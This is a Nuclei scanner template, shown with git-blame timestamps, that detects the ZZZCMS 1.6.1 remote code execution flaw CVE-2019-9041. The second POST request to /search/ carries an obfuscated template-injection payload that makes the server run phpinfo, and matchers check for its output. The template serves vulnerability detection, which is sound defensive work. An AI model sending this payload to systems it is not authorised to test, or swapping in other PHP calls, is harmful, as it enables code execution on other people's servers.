nuclei-templates/http/cves/2019/CVE-2019-9041.yaml

48 lines
1.5 KiB
YAML
Raw Normal View History

2021-02-10 11:09:46 +00:00
id: CVE-2019-9041
info:
name: ZZZCMS 1.6.1 - Remote Code Execution
2021-02-10 11:09:46 +00:00
author: pikpikcu
severity: high
description: ZZZCMS zzzphp V1.6.1 is vulnerable to remote code execution via the inc/zzz_template.php file because the parserIfLabel() function's filtering is not strict, resulting in PHP code execution as demonstrated by the if:assert substring.
reference:
2021-03-30 12:00:27 +00:00
- https://www.exploit-db.com/exploits/46454/
- http://www.iwantacve.cn/index.php/archives/118/
- https://nvd.nist.gov/vuln/detail/CVE-2019-9041
remediation: |
Apply the latest security patch or upgrade to a newer version of ZZZCMS.
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2019-9041
cwe-id: CWE-917
2023-09-06 12:53:28 +00:00
cpe: cpe:2.3:a:zzzcms:zzzphp:1.6.1:*:*:*:*:*:*:*
epss-score: 0.01127
metadata:
max-request: 2
2023-07-11 19:49:27 +00:00
product: zzzphp
vendor: zzzcms
2023-07-11 19:49:27 +00:00
tags: cve,cve2019,zzzcms,rce,edb
2021-02-10 11:09:46 +00:00
http:
2023-09-26 04:49:09 +00:00
- raw:
- |
POST /search/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2023-07-11 19:49:27 +00:00
2023-09-26 04:49:09 +00:00
- |
POST /search/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2021-02-10 11:09:46 +00:00
2023-09-26 04:49:09 +00:00
keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if}
2023-07-11 19:49:27 +00:00
2021-02-10 11:09:46 +00:00
matchers:
2023-09-25 14:28:43 +00:00
- type: dsl
dsl:
- 'status_code_2 == 200'
2023-09-26 04:49:09 +00:00
- '!contains(body_1, "phpinfo")'
- 'contains_all(body_2, "phpinfo","PHP Version")'
condition: and